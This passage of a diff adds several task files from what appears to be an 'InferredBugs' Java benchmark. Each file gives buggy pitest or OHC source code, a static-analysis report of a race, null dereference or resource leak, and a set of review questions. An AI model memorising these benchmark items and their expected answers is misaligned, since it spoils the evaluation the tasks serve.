+        private int bucketIndexForHash(long hash)
+        {
+            return (int) (hash & mask);
+        }
+
+        int size()
+        {
+            return mask + 1;
+        }
+
+        void updateBucketHistogram(EstimatedHistogram h)
+        {
+            for (int p = 0; p < size(); p++)
+                h.add(bucketLength(p) + 1);
+        }
+
+        private int bucketLength(long hash)
+        {
+            int len = 0;
+            long off = bucketOffset(hash);
+            for (int i = 0; i < entriesPerBucket; i++, off += Util.BUCKET_ENTRY_LEN)
+                if (getEntryAdr(off) != 0L)
+                    len++;
+                else
+                    break;
+            return len;
+        }
+
+        long getEntryAdr(long entryOff)
+        {
+            return Uns.getLong(address, entryOff);
+        }
+
+        private void setEntryAdr(long entryOff, long adr)
+        {
+            Uns.putLong(address, entryOff, adr);
+        }
+
+        long getHash(long entryOff)
+        {
+            return Uns.getLong(address, entryOff + Util.BUCKET_OFF_HASH);
+        }
+
+        private void setHash(long entryOff, long adr)
+        {
+            Uns.putLong(address, entryOff + Util.BUCKET_OFF_HASH, adr);
+        }
+    }
+
+    private boolean add(long hashEntryAdr, long hash)
+    {
+        if (!table.addToTable(hash, hashEntryAdr))
+            return false;
+
+        addToLRU(hashEntryAdr);
+        return true;
+    }
+
+    private void touch(long hashEntryAdr)
+    {
+        table.removeFromLRU(hashEntryAdr);
+        addToLRU(hashEntryAdr);
+    }
+
+    private void addToLRU(long hashEntryAdr)
+    {
+        if (table.addToLRU(hashEntryAdr))
+            lruCompactions++;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.caffinitas.ohc.tables.OffHeapMap.lruCompactions` reads without synchronization from `this.org.caffinitas.ohc.tables.OffHeapMap.lruCompactions`. Potentially races with write in method `OffHeapMap.putEntry(...)`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+long OffHeapMap.lruCompactions()
+
+### Procedure Id:
+org.caffinitas.ohc.tables.OffHeapMap.lruCompactions():long.dc408fa99970402e77a7259ba15c8f1a
+
+### File:
+ohc-core/src/main/java/org/caffinitas/ohc/tables/OffHeapMap.java
+
+### Key:
+OffHeapMap.java|lruCompactions|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+befd4a1d9d959637fc12df71c4d655f1
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3912/instruction.md b/inferredbugs-3912/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8ea62206438be5f7c27269d0dac7d30d35305ead
--- /dev/null
+++ b/inferredbugs-3912/instruction.md
@@ -0,0 +1,309 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pitest
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010 Henry Coles
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and limitations under the License.
+ */
+package org.pitest.mutationtest.instrument;
+
+import static org.pitest.functional.Prelude.printWith;
+import static org.pitest.util.Unchecked.translateCheckedException;
+
+import java.io.IOException;
+import java.util.Collection;
+import java.util.List;
+import java.util.logging.Logger;
+
+import org.pitest.Description;
+import org.pitest.MetaData;
+import org.pitest.classinfo.ClassName;
+import org.pitest.extension.Configuration;
+import org.pitest.extension.ResultCollector;
+import org.pitest.functional.Prelude;
+import org.pitest.functional.SideEffect1;
+import org.pitest.mutationtest.MutationConfig;
+import org.pitest.mutationtest.MutationDetails;
+import org.pitest.mutationtest.execute.MutationTestProcess;
+import org.pitest.mutationtest.execute.SlaveArguments;
+import org.pitest.mutationtest.results.DetectionStatus;
+import org.pitest.testunit.AbstractTestUnit;
+import org.pitest.util.ExitCode;
+import org.pitest.util.JavaAgent;
+import org.pitest.util.Log;
+import org.pitest.util.SocketFinder;
+import org.pitest.util.ProcessArgs;
+
+public class MutationTestUnit extends AbstractTestUnit {
+
+  private final static Logger               LOG = Log.getLogger();
+
+  private final JavaAgent                   javaAgentFinder;
+  private final MutationConfig              config;
+  private final TimeoutLengthStrategy       timeoutStrategy;
+  private final Collection<MutationDetails> availableMutations;
+  private final boolean                     verbose;
+  private final String                      classPath;
+
+  protected final Configuration             pitConfig;
+
+  protected final Collection<ClassName>     testClasses;
+
+  public MutationTestUnit(final Collection<MutationDetails> availableMutations,
+      final Collection<ClassName> testClasses, final Configuration pitConfig,
+      final MutationConfig mutationConfig, final Description description,
+      final JavaAgent javaAgentFinder,
+      final TimeoutLengthStrategy timeoutStrategy, final boolean verbose,
+      final String classPath) {
+    super(description);
+    this.availableMutations = availableMutations;
+    this.config = mutationConfig;
+    this.pitConfig = pitConfig;
+    this.javaAgentFinder = javaAgentFinder;
+    this.timeoutStrategy = timeoutStrategy;
+    this.testClasses = testClasses;
+    this.verbose = verbose;
+    this.classPath = classPath;
+
+  }
+
+  @Override
+  public void execute(final ClassLoader loader, final ResultCollector rc) {
+    try {
+      rc.notifyStart(this.getDescription());
+      runTests(rc);
+    } catch (final Throwable ex) {
+      rc.notifyEnd(this.getDescription(), ex);
+    }
+
+  }
+
+  private void runTests(final ResultCollector rc) {
+
+    try {
+      if (!this.availableMutations.isEmpty()) {
+        runTestsForMutations(rc);
+      } else {
+        LOG.info("Skipping test " + this.getDescription()
+            + " as no mutations found");
+        rc.notifySkipped(this.getDescription());
+      }
+    } catch (final Exception ex) {
+      throw translateCheckedException(ex);
+    }
+
+  }
+
+  private void runTestsForMutations(final ResultCollector rc)
+      throws IOException, InterruptedException {
+
+    final MutationStatusMap mutations = new MutationStatusMap();
+    if (hasTestCoverage(this.testClasses)) {
+      mutations.setStatusForMutations(this.availableMutations,
+          DetectionStatus.NOT_STARTED);
+      runTestsInSeperateProcess(this.testClasses, mutations);
+    } else {
+      mutations.setStatusForMutations(this.availableMutations,
+          DetectionStatus.NO_COVERAGE);
+    }
+    reportResults(mutations, this.availableMutations, rc);
+  }
+
+  private boolean hasTestCoverage(final Collection<ClassName> tests) {
+    return !tests.isEmpty();
+  }
+
+  private void runTestInSeperateProcessForMutationRange(
+      final MutationStatusMap mutations, final Collection<ClassName> tests)
+      throws IOException {
+
+    Collection<MutationDetails> remainingMutations = mutations
+        .getUnrunMutations();
+    final MutationTestProcess worker = createWorker(tests, remainingMutations);
+    worker.start();
+
+    setFirstMutationToStatusOfStartedInCaseSlaveFailsAtBoot(mutations,
+        remainingMutations);
+
+    final ExitCode exitCode = waitForSlaveToDie(worker);
+    worker.results(mutations);
+
+    correctResultForProcessExitCode(mutations, exitCode);
+
+  }
+
+  private MutationTestProcess createWorker(final Collection<ClassName> tests,
+      Collection<MutationDetails> remainingMutations) {
+    final SlaveArguments fileArgs = new SlaveArguments(remainingMutations,
+        tests, this.config, this.timeoutStrategy, Log.isVerbose(),
+        this.pitConfig);
+
+    
+    final ProcessArgs args = ProcessArgs.withClassPath(this.classPath)
+    .andJVMArgs(getJVMArgs()).andJavaAgentFinder(this.javaAgentFinder)
+    .andStdout(captureStdOutIfVerbose())
+    .andStderr(printWith("stderr "));
+    
+    SocketFinder sf = new SocketFinder();
+    final MutationTestProcess worker = new MutationTestProcess(
+        sf.getNextAvailableServerSocket(), args, fileArgs);
+    return worker;
+  }
+
+  private ExitCode waitForSlaveToDie(final MutationTestProcess worker) {
+    ExitCode exitCode = ExitCode.UNKNOWN_ERROR;
+    try {
+      exitCode = worker.waitToDie();
+      LOG.fine("Exit code was - " + exitCode);
+    } catch (final InterruptedException e1) {
+      // swallow
+    }
+    return exitCode;
+  }
+
+  private SideEffect1<String> captureStdOutIfVerbose() {
+    if (this.verbose) {
+      return Prelude.printWith("stdout ");
+    } else {
+      return Prelude.noSideEffect(String.class);
+    }
+
+  }
+
+  private void setFirstMutationToStatusOfStartedInCaseSlaveFailsAtBoot(
+      final MutationStatusMap mutations,
+      final Collection<MutationDetails> remainingMutations) {
+    mutations.setStatusForMutation(remainingMutations.iterator().next(),
+        DetectionStatus.STARTED);
+  }
+
+  private void correctResultForProcessExitCode(
+      final MutationStatusMap mutations, final ExitCode exitCode) {
+
+    if (!exitCode.isOk()) {
+      LOG.warning("Slave encountered error or timeout");
+      final Collection<MutationDetails> unfinishedRuns = mutations
+          .getUnfinishedRuns();
+      final DetectionStatus status = DetectionStatus
+          .getForErrorExitCode(exitCode);
+      LOG.fine("Setting " + unfinishedRuns.size() + " unfinished runs to "
+          + status + " state");
+      mutations.setStatusForMutations(unfinishedRuns, status);
+
+    } else {
+      LOG.fine("Slave exited ok");
+    }
+
+  }
+
+  private List<String> getJVMArgs() {
+    return this.config.getJVMArgs();
+  }
+
+  private void runTestsInSeperateProcess(final Collection<ClassName> tests,
+      final MutationStatusMap mutations) throws IOException,
+      InterruptedException {
+
+    while (mutations.hasUnrunMutations()) {
+      runTestInSeperateProcessForMutationRange(mutations, tests);
+    }
+
+  }
+
+  private void reportResults(final MutationStatusMap mutationsMap,
+      final Collection<MutationDetails> availableMutations,
+      final ResultCollector rc) {
+
+    final MetaData md = new MutationMetaData(this.config,
+        mutationsMap.createMutationResults());
+
+    rc.notifyEnd(this.getDescription(), md);
+
+  }
+
+  public MutationConfig getMutationConfig() {
+    return this.config;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `exitCode` last assigned on line 135 could be null and is dereferenced by call to `correctResultForProcessExitCode(...)` at line 138.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MutationTestUnit.runTestInSeperateProcessForMutationRange(MutationStatusMap,Collection)
+
+### Procedure Id:
+org.pitest.mutationtest.instrument.MutationTestUnit.runTestInSeperateProcessForMutationRange(org.pit.f488760cc158877187b97ff705ce7899
+
+### File:
+pitest/src/main/java/org/pitest/mutationtest/instrument/MutationTestUnit.java
+
+### Key:
+MutationTestUnit.java|runTestInSeperateProcessForMutationRange|NULL_DEREFERENCE
+
+### Node Key:
+e0e201c075f7cb55118295fca39bbbb8
+
+### Hash:
+e140345cd1cb52b417df94bcbd116698
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3913/instruction.md b/inferredbugs-3913/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..8684137f238fd2d13dfa838d55e5eb8f6762402d
--- /dev/null
+++ b/inferredbugs-3913/instruction.md
@@ -0,0 +1,132 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pitest
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.pitest.coverage.codeassist;
+
+import java.io.BufferedInputStream;
+import java.io.IOException;
+import java.lang.instrument.IllegalClassFormatException;
+import java.net.URL;
+
+/**
+ * User: dima Date: Feb 8, 2009 Time: 4:26:15 PM
+ */
+public class ClassUtils {
+  private ClassUtils() {
+  }
+
+  public static byte[] classAsBytes(final Class<?> clazz)
+      throws ClassNotFoundException {
+    return classAsBytes(clazz.getName());
+  }
+
+  public static byte[] classAsBytes(final String className)
+      throws ClassNotFoundException {
+    try {
+      final URL resource = ClassUtils.class.getClassLoader().getResource(
+          convertClassNameToFileName(className));
+      final BufferedInputStream stream = new BufferedInputStream(
+          resource.openStream());
+      final byte[] result = new byte[resource.openConnection()
+          .getContentLength()];
+
+      int i;
+      int counter = 0;
+      while ((i = stream.read()) != -1) {
+        result[counter] = (byte) i;
+        counter++;
+      }
+
+      return result;
+    } catch (final IOException e) {
+      throw new ClassNotFoundException("", e);
+    }
+  }
+
+  private static String convertClassNameToFileName(final String className) {
+    return className.replace(".", "/") + ".class";
+  }
+
+  public static Class<?> createClass(final byte[] bytes)
+      throws IllegalClassFormatException {
+    return new MyClassLoader().createClass(bytes);
+  }
+
+  private static final class MyClassLoader extends ClassLoader {
+    public Class<?> createClass(final byte[] bytes)
+        throws IllegalClassFormatException {
+      return defineClass(null, bytes, 0, bytes.length);
+    }
+  }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedInputStream` acquired by call to `new()` at line 26 is not released after line 37.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+byte[] ClassUtils.classAsBytes(String)
+
+### Procedure Id:
+org.pitest.coverage.codeassist.ClassUtils.classAsBytes(java.lang.String):byte[].c769d8ccfb9f8c69575be7fb6ed5ff3d
+
+### File:
+pitest/src/test/java/org/pitest/coverage/codeassist/ClassUtils.java
+
+### Key:
+ClassUtils.java|classAsBytes|RESOURCE_LEAK
+
+### Node Key:
+cddff5de44f0c3585aac3e56ef8b6361
+
+### Hash:
+5d6b3d1497b628dc9d5165967edcda1f
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3914/instruction.md b/inferredbugs-3914/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7cfbbd6e557bdc98c71bf786f9095c3337079a9b
--- /dev/null
+++ b/inferredbugs-3914/instruction.md
@@ -0,0 +1,343 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pitest
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010 Henry Coles
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and limitations under the License.
+ */
+package org.pitest.mutationtest.report;
+
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.Reader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+
+import org.antlr.stringtemplate.StringTemplate;
+import org.antlr.stringtemplate.StringTemplateGroup;
+import org.pitest.Description;
+import org.pitest.TestResult;
+import org.pitest.classinfo.ClassInfo;
+import org.pitest.extension.TestListener;
+import org.pitest.functional.F;
+import org.pitest.functional.F2;
+import org.pitest.functional.FCollection;
+import org.pitest.functional.Option;
+import org.pitest.internal.IsolationUtils;
+import org.pitest.mutationtest.CoverageDatabase;
+import org.pitest.mutationtest.MutationResultList;
+import org.pitest.mutationtest.instrument.MutationMetaData;
+import org.pitest.mutationtest.instrument.UnRunnableMutationTestMetaData;
+import org.pitest.util.FileUtil;
+
+public class MutationHtmlReportListener implements TestListener {
+
+  private final MutatorScores                 mutatorScores = new MutatorScores();
+  private final long                          startTime;
+
+  private final Collection<SourceLocator>     sourceRoots   = new HashSet<SourceLocator>();
+  private final File                          reportDir;
+  private final List<MutationTestSummaryData> summaryData   = new ArrayList<MutationTestSummaryData>();
+  private final List<String>                  errors        = new ArrayList<String>();
+  private final CoverageDatabase              coverage;
+
+  public MutationHtmlReportListener(final CoverageDatabase coverage,
+      final long startTime, final File reportDir,
+      final SourceLocator... locators) {
+    this.coverage = coverage;
+    this.reportDir = reportDir;
+    this.startTime = startTime;
+    this.sourceRoots.addAll(Arrays.asList(locators));
+  }
+
+  private void extractMetaData(final TestResult tr) {
+    final Option<MutationMetaData> d = tr.getValue(MutationMetaData.class);
+    if (d.hasSome()) {
+      processMetaData(d.value());
+    } else {
+      final Option<UnRunnableMutationTestMetaData> unrunnable = tr
+      .getValue(UnRunnableMutationTestMetaData.class);
+      if (unrunnable.hasSome()) {
+        processUnruntest(unrunnable.value());
+      }
+    }
+  }
+
+  private void processUnruntest(final UnRunnableMutationTestMetaData unrunnable) {
+    this.errors.add(unrunnable.getReason());
+  }
+
+  private void processMetaData(final MutationMetaData value) {
+
+    try {
+      this.mutatorScores.registerResults(value.getMutations());
+
+      final String css = FileUtil.readToString(IsolationUtils
+          .getContextClassLoader().getResourceAsStream(
+              "templates/mutation/style.css"));
+
+      final int lineCoverage = calculateLineCoverage(value);
+
+      final MutationTestSummaryData summaryData = new MutationTestSummaryData(
+          value.getMutatedClass(), value.getTestClasses(),
+          value.getPercentageMutationCoverage(), lineCoverage);
+      collectSummaryData(summaryData);
+
+      final String fileName = summaryData.getFileName();
+
+      final BufferedWriter bf = new BufferedWriter(new FileWriter(
+          this.reportDir.getAbsolutePath() + File.separatorChar + fileName));
+
+      final StringTemplateGroup group = new StringTemplateGroup("mutation_test");
+      final StringTemplate st = group
+      .getInstanceOf("templates/mutation/mutation_report");
+      st.setAttribute("css", css);
+      st.setAttribute("summary", summaryData);
+
+      st.setAttribute("tests", value.getTargettedTests());
+
+      st.setAttribute("mutators", value.getConfig().getMutatorNames());
+
+      final Collection<SourceFile> sourceFiles = createAnnotatedSoureFiles(value);
+
+      st.setAttribute("sourceFiles", sourceFiles);
+      st.setAttribute("mutatedClasses", value.getMutatedClass());
+
+      // st.setAttribute("groups", groups);
+      bf.write(st.toString());
+      bf.close();
+
+    } catch (final IOException ex) {
+      ex.printStackTrace();
+    }
+  }
+
+  private int calculateLineCoverage(final MutationMetaData value) {
+    final long numberOfCoveredLines = this.coverage
+    .getNumberOfCoveredLines(value.getMutatedClass());
+
+    int lineCoverage = 0;
+    if (numberOfCoveredLines != 0) {
+      final long numberOfCodeLines = FCollection.fold(accumulateCodeLines(), 0,
+          this.coverage.getClassInfo(value.getMutatedClass()));
+
+      lineCoverage = Math
+      .round(100f / numberOfCodeLines * numberOfCoveredLines);
+
+    }
+    return lineCoverage;
+  }
+
+  private F2<Integer, ClassInfo, Integer> accumulateCodeLines() {
+    return new F2<Integer, ClassInfo, Integer>() {
+
+      public Integer apply(final Integer a, final ClassInfo b) {
+        return a + b.getCodeLines().size();
+      }
+
+    };
+  }
+
+  private Collection<SourceFile> createAnnotatedSoureFiles(
+      final MutationMetaData value) throws IOException {
+    final Collection<SourceFile> sourceFiles = new ArrayList<SourceFile>();
+    for (final String each : value.getSourceFiles()) {
+      final MutationResultList mutationsForThisFile = value
+      .getResultsForSourceFile(each);
+      final List<Line> lines = createAnnotatedSourceCodeLines(each,
+          mutationsForThisFile,
+          this.coverage.getClassInfo(value.getClassesForSourceFile(each)));
+
+      sourceFiles.add(new SourceFile(each, lines, mutationsForThisFile
+          .groupMutationsByLine()));
+    }
+    return sourceFiles;
+  }
+
+  private void collectSummaryData(final MutationTestSummaryData summaryData) {
+    synchronized (this.summaryData) {
+      this.summaryData.add(summaryData);
+    }
+
+  }
+
+  private List<Line> createAnnotatedSourceCodeLines(final String sourceFile,
+      final MutationResultList mutationsForThisFile,
+      final Collection<ClassInfo> classes) throws IOException {
+    final Option<Reader> reader = findSourceFile(classInfoToNames(classes),
+        sourceFile);
+    if (reader.hasSome()) {
+      final AnnotatedLineFactory alf = new AnnotatedLineFactory(
+          mutationsForThisFile, this.coverage, classes);
+      return alf.convert(reader.value());
+    }
+    return Collections.emptyList();
+  }
+
+  private Collection<String> classInfoToNames(
+      final Collection<ClassInfo> classes) {
+    return FCollection.map(classes, classInfoToName());
+  }
+
+  private F<ClassInfo, String> classInfoToName() {
+    return new F<ClassInfo, String>() {
+
+      public String apply(final ClassInfo a) {
+        return a.getName();
+      }
+
+    };
+  }
+
+  private Option<Reader> findSourceFile(final Collection<String> classes,
+      final String fileName) {
+    for (final SourceLocator each : this.sourceRoots) {
+      final Option<Reader> maybe = each.locate(classes, fileName);
+      if (maybe.hasSome()) {
+        return maybe;
+      }
+    }
+    return Option.none();
+  }
+
+  public void onTestError(final TestResult tr) {
+    extractMetaData(tr);
+  }
+
+  public void onTestFailure(final TestResult tr) {
+    extractMetaData(tr);
+  }
+
+  public void onTestSkipped(final TestResult tr) {
+    extractMetaData(tr);
+  }
+
+  public void onTestStart(final Description d) {
+
+  }
+
+  public void onTestSuccess(final TestResult tr) {
+    extractMetaData(tr);
+
+  }
+
+  public void onRunEnd() {
+    try {
+      final long duration = (System.currentTimeMillis() - this.startTime) / 1000;
+
+      final StringTemplateGroup group = new StringTemplateGroup("mutation_test");
+      final StringTemplate st = group
+      .getInstanceOf("templates/mutation/mutation_index");
+      final BufferedWriter bw = new BufferedWriter(new FileWriter(
+          this.reportDir.getAbsolutePath() + File.separatorChar + "index.html"));
+      st.setAttribute("summaryList", this.summaryData);
+      st.setAttribute("errors", this.errors);
+      st.setAttribute("numberOfMutations",
+          this.mutatorScores.getTotalMutations());
+      st.setAttribute("numberOfDetectedMutations",
+          this.mutatorScores.getTotalDetectedMutations());
+      st.setAttribute("duration", duration);
+      st.setAttribute("mutatorScores", this.mutatorScores);
+      bw.write(st.toString());
+      bw.close();
+
+    } catch (final IOException e) {
+      // TODO Auto-generated catch block
+      e.printStackTrace();
+    }
+
+  }
+
+  public void onRunStart() {
+
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedWriter` acquired to `bf` by call to `new()` at line 102 is not released after line 123.
+**Note**: potential exception at line 120
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void MutationHtmlReportListener.processMetaData(MutationMetaData)
+
+### Procedure Id:
+org.pitest.mutationtest.report.MutationHtmlReportListener.processMetaData(org.pitest.mutationtest.in.75572481c320b38f96f8368783f31b60
+
+### File:
+pitest/src/main/java/org/pitest/mutationtest/report/MutationHtmlReportListener.java
+
+### Key:
+MutationHtmlReportListener.java|processMetaData|RESOURCE_LEAK
+
+### Node Key:
+d54375129813b1c5d9f10eb00e12d6a9
+
+### Hash:
+79aa1f8e08eb7672ed10f8189d86dd01
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3915/instruction.md b/inferredbugs-3915/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..11e2b918b6aaa87713cde242baed1cfe1ae2fb33
--- /dev/null
+++ b/inferredbugs-3915/instruction.md
@@ -0,0 +1,183 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** pitest
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2010 Henry Coles
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and limitations under the License.
+ */
+package org.pitest.coverage.execute;
+
+import static org.pitest.util.Unchecked.translateCheckedException;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.net.Socket;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import org.pitest.coverage.CoverageTransformer;
+import org.pitest.extension.TestUnit;
+import org.pitest.internal.IsolationUtils;
+import org.pitest.mutationtest.instrument.HotSwapAgent;
+import org.pitest.util.ExitCode;
+import org.pitest.util.Log;
+
+public class CoverageSlave {
+
+  private final static Logger LOG = Log.getLogger();
+
+  public static void main(final String[] args) {
+
+    ExitCode exitCode = ExitCode.OK;
+    Socket s = null;
+    try {
+      final File input = new File(args[0]);
+
+      LOG.fine("Input file is " + input);
+
+      final BufferedReader br = new BufferedReader(new InputStreamReader(
+          new FileInputStream(input)));
+
+      final SlaveArguments paramsFromParent = (SlaveArguments) IsolationUtils
+          .fromTransportString(br.readLine());
+
+      System.setProperties(paramsFromParent.getSystemProperties());
+
+      Log.setVerbose(paramsFromParent.isVerbose());
+
+      br.close();
+
+      HotSwapAgent.addTransformer(new CoverageTransformer(paramsFromParent
+          .getFilter()));
+
+      s = new Socket("localhost", paramsFromParent.getPort());
+
+      final List<TestUnit> tus = getTestsFromParent(s);
+
+      LOG.info(tus.size() + " tests received");
+
+      final CoverageWorker worker = new CoverageWorker(s.getOutputStream(), tus);
+
+      worker.run();
+
+    } catch (final Throwable ex) {
+      LOG.log(Level.SEVERE, "Error calculating coverage. Process will exit.",
+          ex);
+      ex.printStackTrace();
+      exitCode = ExitCode.UNKNOWN_ERROR;
+    } finally {
+      try {
+        if (s != null) {
+          s.close();
+        }
+      } catch (final IOException e) {
+        throw translateCheckedException(e);
+      }
+    }
+
+    System.exit(exitCode.getCode());
+
+  }
+
+  private static List<TestUnit> getTestsFromParent(final Socket s)
+      throws IOException {
+    final BufferedReader br = new BufferedReader(new InputStreamReader(
+        s.getInputStream()));
+    final List<TestUnit> tus = new ArrayList<TestUnit>();
+    String line = br.readLine();
+    while (!line.equals("END")) {
+      tus.add((TestUnit) IsolationUtils.fromTransportString(line));
+      line = br.readLine();
+    }
+
+    return tus;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `new()` at line 50 is not released after line 75.
+**Note**: potential exception at line 54
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CoverageSlave.main(java.lang.String[])
+
+### Procedure Id:
+org.pitest.coverage.execute.CoverageSlave.main(java.lang.String[]):void.cdc89fdcbeb08542065832739b6242c6
+
+### File:
+pitest/src/main/java/org/pitest/coverage/execute/CoverageSlave.java
+
+### Key:
+CoverageSlave.java|main|RESOURCE_LEAK
+
+### Node Key:
+f645aafdf4c7de4e5a37ff7e8f2268a3
+
+### Hash:
+e69e87d804519cf4e794fb830bd865a5
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-3922/instruction.md b/inferredbugs-3922/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c24f1eb001a4d675a6c9c497f6d5a8815f48cb1b
--- /dev/null
+++ b/inferredbugs-3922/instruction.md
@@ -0,0 +1,209 @@
+# InferredBugs Task - Java
+
+## Project Information
+
